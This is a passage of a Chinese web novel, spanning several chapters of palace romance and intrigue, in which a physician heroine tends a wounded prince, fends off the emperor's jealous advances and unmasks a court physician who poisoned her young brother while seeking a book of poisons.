药圃里熟悉的草药香让姜绾歌心神稍定。她扶着顾云霁闪进配药房,刚关上门,就听见前院传来周管事的声音:仔细搜!每个角落都不能放过! 他们发现我们了?姜绾歌屏住呼吸。 顾云霁摇头:例行搜查。他指了指自己血迹斑斑的衣袍,得先处理这些。 姜绾歌迅速找出干净衣物,又取来金疮药和绷带。顾云霁解开衣衫时,她倒吸一口冷气——原本已经结痂的伤口全部崩裂,有些地方甚至开始化脓。 你早该说!她急声责备,手上动作却轻柔迅速。 顾云霁疼得额头冒汗,却还笑得出来:怕姜姑娘担心嘛... 闭嘴!姜绾歌用银针挑出腐肉,又敷上特制的药膏,这药会有点疼。 药膏接触伤口的瞬间,顾云霁肌肉绷紧,手指深深抠进椅背,却一声不吭。 姜绾歌瞥见他咬破的嘴唇,鬼使神差地递过自己的手腕:疼就掐我。 顾云霁怔了怔,突然低头在她手腕上轻轻一吻:舍不得。 你!姜绾歌猛地抽回手,脸烫得像着了火,疼死你算了! 包扎完毕,顾云霁的脸色好了些。姜绾歌正要去煎药,门外突然传来脚步声。 姜姑娘?是您回来了吗?周管事的声音近在咫尺。 姜绾歌一把将顾云霁推进药柜后的暗格,自己挡在前面:周叔,是我。 周管事推门进来,老脸上写满担忧:您这些天去哪了?杜府的人来搜了好几次,说您勾结叛贼... 我没事。姜绾歌强作镇定,周叔,能帮我准备些热水吗?我想沐浴。 支走周管事,姜绾歌刚松口气,暗格里突然传来咚的一声闷响。她急忙拉开柜门,只见顾云霁面色潮红,已经陷入昏迷。 顾云霁!她探了探他的额头,滚烫得吓人,糟了,伤口感染引起高热... 她迅速取出珍藏的七叶莲,又配了剂猛药。可顾云霁牙关紧咬,药根本喂不进去。 得罪了。姜绾歌含了一口药,俯身贴上他的唇。 苦涩的药汁通过唇齿相渡,一点点渗入他口中。喂到第三口时,顾云霁突然睁眼,舌尖无意识地舔过她的唇瓣。 姜绾歌像被烫到般弹开,却见顾云霁眼神涣散,分明还在昏迷中。 混账...她擦了擦嘴,继续喂药,心跳却乱得不像话。 一整碗药喂完,顾云霁的呼吸终于平稳了些。姜绾歌刚想休息,窗外突然传来异响。 她悄悄掀开窗缝,只见一个戴斗笠的黑衣人正蹲在院墙上,手中寒光闪闪——是淬了毒的袖箭! 千钧一发之际,姜绾歌抄起药碾砸向窗户。哗啦一声巨响,黑衣人受惊遁走,却也惊动了前院的侍卫。 什么声音? 在后院! 脚步声迅速逼近。姜绾歌当机立断,背起顾云霁从后窗翻出,直奔药圃深处的古井。 这口井早已干涸,井壁上有个隐蔽的凹洞,是她小时候玩捉迷藏发现的。两人刚躲进去,追兵就冲进了后院。 仔细搜! 柜子后面看看! 姜绾歌紧紧搂着昏迷的顾云霁,生怕他发出声响。狭小的空间里,她能清晰感受到他胸膛的起伏和灼热的呼吸。 不知过了多久,外面的喧嚣终于平息。姜绾歌正要松口气,怀里的顾云霁突然动了动。 ...水...他虚弱地呢喃。 姜绾歌取出随身携带的水囊,小心喂他喝了几口。顾云霁的睫毛颤了颤,缓缓睁开眼。 我们...在哪?声音沙哑得不成样子。 安全的地方。姜绾歌松了口气,你发烧昏迷了。 第130章 八宝楼 顾云霁试图坐起来,却被她按住:别乱动!伤口再裂开,我就真不管你了。 月光从井口斜斜照入,映在姜绾歌沾满灰尘的小脸上。顾云霁突然伸手,轻轻擦去她颊边的一点药渍。 多谢。简单的两个字,却重若千钧。 姜绾歌别过脸:...诊金记得结清。 顾云霁低笑,牵动伤口又疼得皱眉。他望向井口的那方夜空,眼神渐冷:杜如晦背后之人,很快就要浮出水面了。 先管好你自己吧。姜绾歌没好气地说,等天亮周叔睡了,我们回房继续治疗。 顾云霁忽然握住她的手:姜绾歌。 干嘛? 下次...他指尖轻轻摩挲她掌心的茧子,别冒险背我。太重了。 姜绾歌抽回手,耳根发烫:知道重就别老是受伤! 井底重归寂静,只剩下两人交错的呼吸声。远处传来更夫的梆子声,已是四更天了。 天,就快亮了。 半日后,杏林堂后院。 别动!姜绾歌一巴掌拍开顾云霁试图拆绷带的手,伤口结痂前不许碰水! 顾云霁懒洋洋地躺在藤椅上晒太阳,俊脸上哪有半点病容:姜大夫,我都快被药腌入味了,能放我回府了吗? 晨光透过葡萄架斑驳地洒在他身上,那件月白色家常袍子松垮垮地系着,露出小片结实的胸膛。姜绾歌别过脸去整理药箱,耳尖却悄悄红了。 求之不得。她故意把药瓶碰得叮当响,赶紧走,省得天天蹭我家的饭。 冤枉啊。顾云霁变戏法似的摸出个油纸包,今早福伯才送来的蟹粉小笼,全进姜姑娘肚子了。 姜绾歌想起自己早晨狼吞虎咽的样子,恼羞成怒地抄起捣药杵:那是诊金! 顾云霁大笑着躲开,动作灵活得哪有半分伤员的样子。这几日姜绾歌用七叶莲配药,加上针灸逼毒,他的伤势已好了七八分。 说真的,他突然凑近,沉水香的气息笼罩下来,这次多亏姜姑娘。 姜绾歌后退半步,后背抵上药柜:知、知道就好!诊金翻三倍! 翻十倍都成。顾云霁从袖中取出个锦盒,先付个定金。 盒中是一对羊脂玉镯,温润如凝脂。姜绾歌刚要拒绝,却见内壁刻着精巧的药草纹样——正是杏林堂的标志。 定制的?她忍不住拿起细看。 上个月就备下了。顾云霁倚着门框笑,本想等姜姑娘生辰时送... 胡说什么!姜绾歌把锦盒塞回他手里,拿走! 谁稀罕你的镯子!姜绾歌把锦盒往顾云霁怀里一塞,转身就往药房走,要走赶紧走,别耽误我晒药材。 顾云霁接住盒子,指尖在玉镯上轻轻摩挲:那...改日再登门道谢。 他转身时衣袂翻飞,带起一阵沉水香的风。姜绾歌数着药柜上的瓷瓶,直到墙头咚的一声轻响确认他离开,才长长舒了口气。 小姐...周管事不知何时站在廊下,欲言又止,靖安王他... 伤好了自然该回去。姜绾歌打断他,手里捣药的力道重了三分,去把西厢房收拾出来,那些用过的绷带全烧了。 日影西斜时,姜绾歌终于把杏林堂积压的诊务处理完。 她揉了揉酸痛的脖颈,决定去珍宝楼犒劳自己一顿——反正某人说了要请八宝鸭。 珍宝楼依旧人声鼎沸。 店小二见到她眼睛一亮:姜姑娘可算来了!王爷特意吩咐给您留着临窗的座儿... 谁要他的座!姜绾歌甩出块碎银,给我换雅间! 雅间门一关,世界总算清净。 姜绾歌刚夹起块水晶肴肉,门外突然传来笃笃的敲击声。 说了不要...姜绾歌猛地推开窗,却发现窗外空无一人。正疑惑间,雅间的雕花木门突然被轻轻叩响。 谁?她警觉地摸向袖中银针。 门扉无声滑开。 一道修长身影立在门外,素白锦袍上仅用银线绣着几片竹叶,腰间悬着的九龙玉佩却昭示着来人身份。 不是预想中的那张玩世不恭的脸,而是一双深若寒潭的眼睛。 皇...皇上?姜绾歌的筷子啪嗒掉在桌上。 皇帝顾铭轩负手而入,随手带上门。没有侍卫随行,没有仪仗开道。 三天。他声音冷得像冰,朕派了十二批暗卫找你。 姜绾歌后背抵上屏风:臣女在给靖安王疗伤... 疗伤?顾铭轩一把扣住她的手腕,指腹摩挲着她腕间尚未消退的勒痕,需要绑着手疗? 那是她背顾云霁时被麻绳磨的。 姜绾歌刚要解释,突然发现顾铭轩的目光死死钉在她衣领处——那里沾着一点已经干涸的药渍。 皇上明鉴!她慌忙后退,臣女与顾云霁清清白白... 清白?顾明轩从怀中掏出一叠密报摔在桌上,初七夜共处一室,初八同乘一骑,初九甚至...他喉结动了动,...同饮一碗药? 画像上赫然是她以口渡药的场景!姜绾歌耳尖烧得通红:那是...是... 是什么?顾铭轩步步逼近,龙涎香的气息将她笼罩,朕倒不知,姜大夫是这么给人喂药的。 窗外忽然电闪雷鸣,初夏的暴雨说来就来。雨点噼里啪啦打在窗纸上,衬得雅间里愈发寂静。 皇上。姜绾歌突然抬头,您是以什么身份质问臣女? 顾铭轩瞳孔微缩。 若是君王问罪...她缓缓跪下,臣女甘领责罚。若是...声音轻了下去,...若是皇上吃醋... 话未说完,她整个人被拽进一个滚烫的怀抱。 顾铭轩的手指插入她发间,嗓音沙哑得不成样子:你知道我这三天怎么过的吗? 雨声中,他的唇重重压下来。这个吻带着攻城略地的霸道,像是要把她唇上给别人喂药的痕迹全部抹去。 姜绾歌被亲得腿软,恍惚间听见佩玉叮当——是顾铭轩在解腰带! 等等!她慌忙按住他的手,这里是酒楼... 正当气氛旖旎,楼下突然传来一阵骚动。侍卫低声急报:陛下!睿亲王来了! 顾铭轩脸色骤冷。姜绾歌趁机从他怀里钻出来,慌乱整理衣衫:你...你去屏风后躲躲... 躲什么?顾铭轩一把将她拉回,朕见不得人? 第131章 争风吃醋 门被推开时,姜绾歌正被皇帝按在膝上。 顾云霁立在门槛处,手中的食盒砰地砸在地上。 八宝鸭的酱汁泼洒开来,在青砖地上蜿蜒成一道血色的线。 皇兄好雅兴。他轻笑,腰间玉佩无风自动,臣弟是不是来得不巧? 顾铭轩的手指仍缠着姜绾歌的发丝,目光却冷冷扫向顾云霁:“皇弟来得正好,朕正想问问,你府上的龙血砂,是哪儿来的?” 顾云霁唇角微勾,眼底却无笑意:“皇兄既已查过,又何必多此一问?”他顿了顿,意有所指,“倒是臣弟好奇,陛下日理万机,怎会‘恰好’出现在珍宝楼?” 顾铭轩眸色一沉:“朕的行踪,何时需要向你交代?” 自然不必。顾云霁轻笑,目光掠过姜绾歌泛红的唇,只是臣弟记得,皇兄向来最重规矩,今日这般......倒是少见。 顾铭轩眸色一暗,指腹缓缓摩挲着姜绾歌的下颌,目光却冷冷刺向顾云霁:规矩?朕倒不知,什么时候轮到你教朕规矩了? 顾云霁笑意不减,眼底却暗了几分:臣弟不敢。只是——他目光扫过姜绾歌微微发颤的指尖,语气轻缓,姜姑娘毕竟是未出阁的贵女,皇兄这般……传出去,怕是有损圣誉。 圣誉?顾铭轩低笑一声,指节微微收紧,逼得姜绾歌不得不仰起脸,朕倒要看看,谁敢妄议。 顾云霁眼底闪过一丝冷意,却仍维持着面上的从容:皇兄自然无人敢议,可姜姑娘的名节……他顿了顿,意味深长,总该顾惜一二。 顾铭轩眸色骤沉,指腹重重碾过姜绾歌的唇,声音低得危险:顾云霁,你今日的话,未免太多了。 顾云霁微微躬身,姿态恭敬,语气却寸步不让:臣弟只是替皇兄着想。他抬眸,直视帝王,毕竟——有些事,强求不得。 空气凝滞,连窗外的雨声都仿佛被冻结。 姜绾歌屏住呼吸,指尖深深掐入掌心。 ——这两人,一个比一个更疯。 姜绾歌突然将茶盏重重搁在案上。 够了。 瓷底与木案相撞的脆响,让两个男人同时噤声。 她站起身,裙裾扫过地上狼藉的八宝鸭,径直走到窗前唰地推开雕花窗。暴雨立刻裹着冷风灌进来,将满室沉水香与龙涎香冲得七零八落。 要争要吵,出去。她手指门外电闪雷鸣的长街,对面就是京兆尹衙门,二位不妨去击鼓鸣冤? 顾铭轩眯起眼睛:绾绾... 姜绾歌深吸一口气,转身时裙摆微微扬起。她先看向顾铭轩,语气平静却不容置疑:陛下,您是一国之君。指尖轻轻划过案几边缘,这般当众争执,不妥。 顾铭轩眸光微闪,正要开口,却被她一个眼神止住。 她转向顾云霁,声音柔和了几分:王爷,您的伤还没好全。目光落在他微微发白的唇色上,不该冒雨前来的。 顾云霁嘴角噙着笑:姜姑娘这是在关心本王? 是提醒。她抬手将散落的发丝别到耳后,王爷这般不顾身子,是要砸了臣女的招牌么? 窗外雨声渐急,拍打着窗棂。 顾云霁笑意微敛,深深看了她一眼:罢了。他弯腰拾起食盒残片,改日再请姑娘尝新的八宝鸭。 房门关上的瞬间,姜绾歌立刻质问起顾铭轩来: 陛下这是做什么! 宣示主权。顾铭轩慢条斯理地夹了块八宝鸭,怎么,心疼你睿亲王了? 姜绾歌气得想咬人:臣女与睿亲王清清白白! 你刚才倒是会劝。顾铭轩打断她,怎么轮到朕,就只剩一句"不妥"? 姜绾歌气极反笑,纤纤玉指直接戳上顾铭轩的胸口:皇上这是要臣女如何劝?说您贵为天子却在这争风吃醋不成体统?说您放着江南水患不管却在这里为难臣女?她每说一句就往前一步,硬是将九五之尊逼得后退了半步。 顾铭轩被她这突如其来的气势震住,随即眸色转深,一把扣住她的手腕:朕倒要看看,是谁给了你这样的胆子。 皇上给的。姜绾歌不卑不亢地迎上他的目光,半年前你翻墙进我房间时,您亲口说过,最喜欢臣女这份胆识。 姜绾歌话音未落,顾铭轩的眼神骤然变得危险。 他一把扣住她的手腕,将她拽到身前:朕的绾绾,如今倒是伶牙俐齿得很。 皇上过奖。她不甘示弱地回望,另一只手却悄悄摸向腰间的银针,臣女不过是实话实说。 顾铭轩敏锐地察觉到她的小动作,冷笑一声,突然将她双手反剪在身后:怎么,还想给朕扎一针? 皇上若再这般无礼,姜绾歌被迫仰起头,声音却依然镇定,臣女不介意让您尝尝太医院新研制的麻沸散。 窗外一道闪电劈过,照亮帝王阴沉的面容。 他俯身在她耳边低语:你可知,就凭这句话,朕就能治你个大不敬之罪? 那皇上可知,她突然抬脚,绣鞋重重踩在他的龙靴上,就凭您现在的行为,臣女就能让您三个月不举? 顾铭轩吃痛松手,眼中闪过一丝诧异:你…… 臣女怎么了?姜绾歌迅速退到安全距离,整理着凌乱的衣袖。 雨声渐急,打在窗棂上的声音如同擂鼓。 顾铭轩忽然笑了,那笑容却让人不寒而栗:好,很好。朕的绾绾长大了,知道威胁朕了。 不是威胁,是自保。她深吸一口气,放缓语气,皇上,您是一国之君,何必与臣女计较这些?江南水患未平,北境战事又起,这些才是您该操心的事。 顾铭轩缓步逼近,每一步都带着压迫感:你以为搬出朝政,朕就会放过你? 臣女不敢。她退到窗边,冰凉的雨水打湿了她的后背,只是提醒皇上,您今日的所作所为,若传出去... 传出去又如何?他突然将她困在窗台与自己之间,朕宠幸自己的女人,天经地义。 姜绾歌气得浑身发抖:谁是你的女人! 哦?顾铭轩挑眉,明明半年前在你的房间,两人情投意合…… 那是您强——她话未说完,唇突然被堵住。 第132章 进宫选秀 这个吻带着惩罚的意味,霸道而强势。 姜绾歌奋力挣扎,却被他牢牢禁锢在怀中。 直到她快要窒息,顾铭轩才松开她。 味道没变。他拇指擦过她红肿的唇瓣,还是这么甜。 姜绾歌扬手就要打,却被他轻松截住:绾绾,适可而止。声音突然沉了下来。 她死死瞪着他,眼中燃着怒火:皇上今日这般羞辱臣女,到底想要什么? 顾铭轩的目光渐渐柔和,手指轻轻松开她的下巴:绾绾,朕不是在命令你。 他后退一步,拉开两人之间的距离,语气中带着前所未有的认真:半月后宫中选秀,朕希望你能来。不是以秀女的身份,而是...以朕心悦之人的身份。 姜绾歌微微一怔,显然没料到他会突然转变态度。 朕知道你不愿被困在深宫。顾铭轩继续道,眼中闪烁着真诚的光芒,所以朕可以承诺,你若入宫,仍可继续行医问诊。朕会在太医院为你单独设一处诊室,你依然可以救治病患。 窗外雨声渐小,屋内的气氛也随之缓和。 朕不是在强求。他轻叹一声,只是给你一个选择的机会。若你当真不愿... 姜绾歌抬眸看他,眼中带着探究:若臣女当真不愿,皇上当如何? 顾铭轩沉默片刻,苦笑道:那朕也只能...继续等着。等到有一天,你或许会改变主意。 这个回答显然出乎姜绾歌的意料。她仔细打量着眼前的帝王,似乎在判断他话中的真假。 皇上今日倒是...与往常不同。 因为朕想明白了。顾铭轩轻轻握住她的手,这次没有强迫,只是温柔地包裹着,强扭的瓜不甜,这个道理,朕还是懂的。 姜绾歌没有立即抽回手,但眼中的戒备仍未消散:那龙血砂的事... 朕会查清楚。顾铭轩承诺道,不会冤枉好人,也不会放过别有用心之人。 姜绾歌缓缓抽回手,指尖在袖中微微发颤。她低头整理衣襟时,一缕碎发垂落,恰好遮住了泛红的眼角。 臣女恐怕...要让皇上失望了。她的声音比窗外的夜雨还轻。 顾铭轩伸到半空的手顿住了。月光透过云隙,在他眉宇间投下一片阴影。 绾绾...他唤她闺名的声音有些哑,你知道朕可以给你太医院最高的官职,让你继续行医。 姜绾歌转身望向窗外,雨丝在月光下像银线般垂落。陛下可曾见过困在玉笼里的画眉? 她指尖轻抚窗棂,就算用金丝编的笼子,喂最好的谷粒...它也不会再唱歌了。 顾铭轩袖中的手攥紧又松开。 是朕...心急了。他忽然退后一步,龙纹靴踩在八宝鸭的酱汁上,三日后朕要去南巡,回来再听你答复。 姜绾歌诧异地转头,却见帝王已经走到门边。 他抬手摘下墙上挂着的一顶青箬笠——那是她平日出诊用的。 借朕这个。顾铭轩将箬笠扣在头上,遮住了半张脸,雨大,你的伞...朕先不还了。 姜绾歌怔怔看着那个向来威严的背影,此刻竟显得有些落寞。 顾铭轩抬手挥了挥算作告别,脚步声渐渐远去,最后淹没在雨声里。 姜绾歌这才发现,地上那滩酱汁中躺着一枚羊脂玉扳指——是他常年戴在拇指上的。 她蹲下身,看见内侧刻着小小的绾字,边缘已经磨得圆润,想来是被人经常摩挲。 窗外,夜雨中的京城灯火阑珊。更漏声遥遥传来,惊醒了她的恍惚。 姜绾歌疲惫地靠在马车上睡着了,醒来时刚好到了梧桐苑。 她刚踏进梧桐苑的朱漆大门,一阵裹着药香的夜风就扑面而来。 姑娘!青柠提着裙摆从回廊跑来,发间的绢花都歪了,小少爷他... 青柠绞着手指,在偏院等了您三天,今早突然发起热来... 姜绾歌心头猛地一坠。那个上房揭瓦的混世魔王,居然能安安分分等她三天? 她几乎是跑着穿过庭院,药箱磕在石阶上发出闷响。推开偏院厢房的门,一股浓郁的药味扑面而来——混着几分血腥气。 阿姐... 软塌上鼓起的小包动了动,钻出个毛茸茸的脑袋。 姜小淘素日里红润的脸蛋此刻苍白如纸,嘴唇却泛着不正常的嫣红。 最刺目的是他左臂缠着的绷带,雪白纱布上洇开一团暗红。 你这是...姜绾歌指尖发凉,轻轻揭开染血的绷带。 我想阿姐了嘛。小家伙声音哑得厉害,却还挤着笑脸,书院休沐,我特意求了夫子... 伤口暴露在烛光下时,姜绾歌呼吸一滞。三寸长的刀伤边缘泛着诡异的青色,分明是淬了毒。她猛地抬头,正对上弟弟闪烁的眼神。 说实话。她声音沉了下来。 姜小淘缩了缩脖子,突然剧烈咳嗽起来,指缝间渗出暗红血丝:就...就翻墙时被瓦片划了下... 姜小淘!她一把扯开他衣领,只见锁骨处浮现蛛网般的青纹,瓦片能划出这么整齐的伤口? 小魔王突然从枕下摸出块染血的帕子:那...那人说阿姐看了这个就明白... 青鸾纹在烛火下泛着冷光。姜绾歌浑身血液瞬间冻结——听雨阁的标记! 他们伤了你?她声音轻得可怕。 才没有!姜小淘突然激动起来,我拿弹弓打掉了他两颗牙!话没说完又咳出一口血沫,气焰顿时矮了半截,就是...就是不小心被划了下... 姜绾歌突然将弟弟紧紧搂住。小家伙浑身滚烫,瘦得能摸到肋骨,哪还是那个能闹翻天的混世魔王? 阿姐...小淘闷在她怀里,声音突然带了哭腔,我每天趴在墙头等你...你怎么都不回家啊... 这一声彻底击碎了姜绾歌的冷静。她这才想起,自己已经半月未归——而这孩子竟日日守着。 是阿姐不好。她抹去弟弟额头的冷汗,转头对青柠厉声道,取我紫檀匣来!再烧一锅艾草水! 当夜,梧桐苑的灯亮到三更。 姜小淘昏睡中仍攥着姐姐的衣袖,生怕她离开似的。姜绾歌望着弟弟惨白的小脸,眼底渐渐凝起寒霜。 听雨阁,这笔账我们慢慢算。 第133章 小淘中毒 姜绾歌将紫雪丹研成细末,混入蜂蜜调成糊状。她扶起昏沉的姜小淘,用银匙抵开他紧咬的牙关。 咽下去。她命令道,指尖在弟弟喉间轻轻一按。 药糊滑入咽喉的瞬间,姜小淘突然睁大眼睛,脏兮兮的小脸皱成一团:苦...阿姐骗人...声音嘶哑得像只小鸭子。 活该。姜绾歌又舀起一勺,动作却放轻了些,谁让你乱跑受伤? 小家伙突然抓住她的手腕:我才没乱跑!是那个蓝衣服的... 话没说完,他突然剧烈咳嗽起来,指缝间渗出暗红血丝。姜绾歌迅速点了他几处大穴,发现他左臂的伤口渗出诡异的青色液体。 青柠!取玉匣来!她声音沉得可怕。 小丫鬟刚跑出门,姜小淘就哇地吐出一口黑血。姜绾歌取出金针,在烛火上烤得通红。 姜小淘。她捏住弟弟下巴,看着我眼睛。 小家伙泪眼汪汪地抬头,看见阿姐眸中映着跳动的火焰:怕疼就咬这个。她塞给他一块软木。 窗外突然传来瓦片碎裂声。姜绾歌头也不回地甩出三枚银针,夜色里响起一声闷哼。 疼就喊出来。姜绾歌轻声道,手上动作却不停。 我才不疼!姜小淘咬着牙,小脸憋得通红,我可是要当账房先生的人! 姜绾歌无奈地摇头,继续清理伤口边缘的腐肉。突然,她发现伤口深处有一丝诡异的青色。 小淘,说实话,这伤到底怎么来的?她声音沉了下来。 姜小淘眼神闪烁:就、就是追野猫的时候摔的... 追野猫能摔出淬了毒的箭伤?姜绾歌眯起眼睛。 小家伙见瞒不过去,瘪了瘪嘴:那个蓝衣服的人说...说只要我帮他找到阿姐的药箱,就给我糖吃... 姜绾歌心头一震。她早该想到,能让这个小馋鬼冒险的,除了吃的还能有什么? 然后呢? 然后我就把他带到了厨房...姜小淘突然得意地笑起来,我在他的茶里放了巴豆粉! 姜绾歌哭笑不得,正要说话,窗外突然传来一声轻响。她迅速将弟弟护在身后,三枚银针已经扣在指间。 谁? 是我。顾云霁的声音从窗外传来,别紧张,我只是来送药的。 姜绾歌警惕地开了一条窗缝。月光下,顾云霁倚在窗边,手里晃着一个小瓷瓶。 王爷深夜造访,有何贵干? 顾云霁将瓷瓶抛给她:听说令弟中了"青丝缠",这是解药。 姜绾歌接过瓷瓶,狐疑地看着他:王爷为何如此热心? 因为...顾云霁突然咳嗽起来。友情帮助。 次日正午,姜绾歌独自来到约定的破庙。阳光透过残破的屋顶,在地上投下斑驳的光影。 来得真准时。 一个蓝衣人从阴影中走出,脸上戴着银色面具。 解药呢?姜绾歌冷声问道。 蓝衣人轻笑:急什么?先把我要的东西交出来。 什么东西? 别装傻。蓝衣人声音骤冷,顾云霁给你的那本《毒经》。 姜绾歌心头一震。她确实从顾云霁那里得到过一本古籍,但从未对外人提起过。 我不知道你在说什么。 是吗?蓝衣人突然拍手,两个黑衣人押着被捆住的姜小淘走了出来,那这个小鬼的命,你也不在乎了? 阿姐!姜小淘挣扎着喊道,别管我!他们不敢... 黑衣人一个耳光打断了小家伙的话。姜绾歌眼中杀意骤现,袖中的银针已经蓄势待发。 住手!顾云霁的声音突然从庙顶传来,欺负小孩子算什么本事? 话音未落,他已经纵身跃下,长剑直指蓝衣人咽喉。 王爷来得正好。蓝衣人不慌不忙,正好一网打尽。 数十名黑衣人从四面八方涌出,将两人团团围住。 看来今天要大干一场了。顾云霁轻笑,与姜绾歌背靠背站定。 你左我右。姜绾歌低声道,手中银针已经飞出。 一场激烈的打斗在破庙中展开。姜绾歌的银针如雨点般射出,每一针都精准命中敌人的穴位。顾云霁的剑法更是凌厉,剑光所到之处,黑衣人纷纷倒地。 阿姐小心!姜小淘突然大喊。 姜绾歌回头,只见蓝衣人手中暗器已经对准了她的后心。千钧一发之际,顾云霁闪身挡在她面前,暗器深深扎入他的肩膀。 王爷! 顾云霁咬牙拔出暗器,反手掷出,正中蓝衣人手腕。蓝衣人吃痛,面具掉落在地。 是你!姜绾歌震惊地看着眼前这张熟悉的面孔。 张太医?姜绾歌难以置信地盯着眼前这张熟悉的面孔,手中的银针不自觉地又捏紧了几分。 这位平日里温文尔雅、备受敬重的太医院首席,此刻却穿着诡异的蓝衣,眼中闪烁着疯狂的光芒。 张太医缓缓摘下面具,露出那张常年挂着和善笑容的脸。只是此刻,那笑容里透着令人毛骨悚然的狰狞:没想到吧,姜姑娘?我潜伏太医院整整十五年,就是为了找到那本《毒经》。 为什么?姜绾歌声音发颤,想起往日这位长辈对自己的谆谆教导,你已经是太医院之首,深受皇上信任,为何还要... 信任?张太医突然歇斯底里地大笑,笑声在破庙中回荡,当年先帝灭我满门七十二口时,可曾想过信任二字?他的手指深深掐入掌心,鲜血顺着指缝滴落,就因为我父亲是前朝御医,就因为我们张家掌握着皇室秘药! 顾云霁捂着肩头的伤口,踉跄着上前一步:所以你就用前朝秘毒残害无辜?连一个八岁的孩子都不放过? 无辜?张太医猛地转向顾云霁,眼中血丝密布,皇室之人,哪有无辜之辈!你父亲当年血洗太医院时,可曾想过那些枉死的御医是否无辜?他突然从袖中掏出一个瓷瓶,今日就让你们尝尝,什么叫真正的"青丝缠"! 姜绾歌瞳孔骤缩,在那瓷瓶脱手的瞬间,三枚银针已破空而出。一枚击碎瓷瓶,两枚精准刺入张太医的穴位。毒液在空中炸开,却被顾云霁及时甩出的披风尽数挡下。 你...张太医僵在原地,难以置信地瞪大眼睛。他的嘴唇开始泛紫,显然是自己也中了毒。 第134章 你是来抢我阿姐的吗? 我早就怀疑太医院有内鬼。姜绾歌缓步上前,声音冷得像冰,小淘中的毒,需要用到太医院独有的龙脑香做药引。 她一把扯开张太医的衣袖,露出手臂上密密麻麻的针眼,你为了试药,连自己都不放过。 顾云霁示意亲卫将人押下,转身时眼中满是复杂的情绪:多亏你机警。 他的目光扫过姜绾歌微微发抖的手指,声音突然柔和下来,你没事吧? 姜绾歌没有回答,快步走向姜小淘那边。小家伙虽然脸上挂了彩,精神却很好。 阿姐!我帮你抓到了坏人!他得意地晃着脑袋。 姜绾歌心疼地解开绳子,检查他的伤势:疼不疼? 不疼!姜小淘挺起小胸脯,我可是要保护阿姐的男子汉! 顾云霁走过来,揉了揉小家伙的脑袋:有胆识,要不要跟我学剑法? 真的吗?姜小淘眼睛一亮,随即又警惕地看着他,你不会也是来抢我阿姐的吧? 顾云霁失笑:我像是那种人吗? 像!小家伙斩钉截铁地说,你刚才看阿姐的眼神,跟隔壁王婶家的大黄狗看见肉骨头一模一样! 姜绾歌顿时红了脸,顾云霁则尴尬地咳嗽起来。 回到梧桐苑,姜绾歌细心地为顾云霁包扎伤口。 这次多谢王爷相助。她轻声道。 顾云霁看着她专注的侧脸,突然问道:接下来有什么打算? 姜绾歌手上动作不停:继续开我的医馆,照顾这个小捣蛋鬼。她瞥了眼在一旁偷吃点心的姜小淘。 不考虑...换个地方?顾云霁意有所指。 姜绾歌摇头:这里很好。 顾云霁叹了口气:那...我以后能常来吗? 随你。姜绾歌语气平淡,耳根却微微发红。 姜小淘突然插嘴:王爷要是来,记得带珍宝楼的八宝鸭! 顾云霁大笑:成交! 烛火摇曳,姜绾歌将最后一截纱布打了个结。顾云霁试着活动了下肩膀,忽然嘶了一声。 别乱动。她拍开他的手,伤口会裂开。 姜小淘叼着半块点心凑过来,小脸上满是好奇:王爷,你打架的时候为什么总喜欢转剑花呀?多费力气! 这叫气势。顾云霁捏了捏他的鼻子,等你学剑就懂了。 我才不学花架子呢!小家伙做了个鬼脸,突然指着窗外,阿姐,又有人爬墙! 姜绾歌头也不回地甩出银针,窗外传来哎哟一声。青柠急匆匆跑进来:姑娘,是太医院来送药的... 扔出去。姜绾歌冷声道,以后太医院的人一律不准进梧桐苑。 顾云霁若有所思地看着她紧绷的侧脸:你在担心什么? 张太医落网得太容易了。她压低声音,一个潜伏十五年的人,会这么轻易暴露? 窗外突然电闪雷鸣,照得屋内忽明忽暗。姜小淘不知何时已经趴在顾云霁膝头睡着了,小手还紧紧攥着他的衣角。 顾云霁小心翼翼将姜小淘抱起,轻轻放在软榻上,为他掖好被角。 姜小淘嘟囔了几声,翻个身又沉沉睡去。 顾云霁压低声音,目光从熟睡的姜小淘身上移开,看向姜绾歌,“张太医背后恐怕还有更大的势力。他如此处心积虑想要《毒经》,这本古籍里说不定藏着足以颠覆局势的秘密。” 姜绾歌眉头微蹙,走到窗边,望着窗外倾盆暴雨,神色凝重:“《毒经》是你交给我的,你当真不知道里面具体记载了什么?” 顾云霁倚在窗边,月光将他的侧脸镀上一层银辉。 他指尖轻叩窗棂,声音压得极低:那本《毒经》到我手里时,已经少了小半。里头记的都是些阴毒玩意儿,光是配药的法子就够要人命。 姜绾歌指尖一顿,银针在烛火下泛着寒光:这么说,张太医拼了命要抢的,是剩下的部分? 十有八九。顾云霁突然转身,阴影里他的眼睛亮得惊人,姜姑娘,你记不记得有一次在珍宝楼,有人往你茶里下药那次? 姜绾歌瞳孔微缩:你是说... 太巧了。他随手抛过来一块蜜饯,正落在她掌心,张太医临死前偏偏提到珍宝楼。 榻上的姜小淘突然翻了个身,嘟囔着梦话。姜绾歌立刻噤声,轻手轻脚给弟弟掖好被角。 转身时,发现顾云霁已经站在身后半步远,呼吸拂过她耳畔。 明日我让玄甲卫扮成货郎守着巷口。他声音轻得只有她能听见,你带着小淘照常去医馆,咱们... 引蛇出洞?姜绾歌挑眉,突然拈起银针在他眼前一晃,王爷倒是会使唤人。 顾云霁低笑,突然握住她持针的手腕:不敢。只是...他指尖在她脉门轻轻一按,某些人明明担心得紧,偏要装镇定。 姜绾歌抽回手,耳根发热:谁担心了? 窗外雨打芭蕉,掩住了两人的低语。姜小淘在睡梦中咂了咂嘴,小手无意识地抓紧了姐姐落在一旁的衣角。 窗外的暴雨渐渐停歇,月光透过云层洒入屋内。两人又商议了一些应对之策,直到姜小淘醒来。 “阿姐,我饿啦。”姜小淘揉着眼睛,从软榻上坐起来。 姜绾歌笑着走过去:“小馋猫,等我让厨房给你做点好吃的。” 姜小淘一个鲤鱼打挺从软榻上蹦下来,光着脚丫就朝顾云霁扑去:王爷王爷!他拽着顾云霁的衣袖来回晃荡,你答应教我使剑的! 顾云霁屈指弹了下他的脑门:就你这小胳膊小腿的,拿得动我的青霜剑?说着故意把腰间佩剑往高了提。 小家伙不服气地踮起脚尖去够:我昨儿还帮阿姐捣药呢!连铁药杵都拿得动! 哦?顾云霁挑眉看向姜绾歌,见她无奈点头,突然俯身凑到姜小淘耳边:那明日卯时,我在后院等你。迟到一刻钟—— 我就把阿姐新做的茯苓糕全吃光!姜小淘抢着发誓,眼睛亮得像星星。 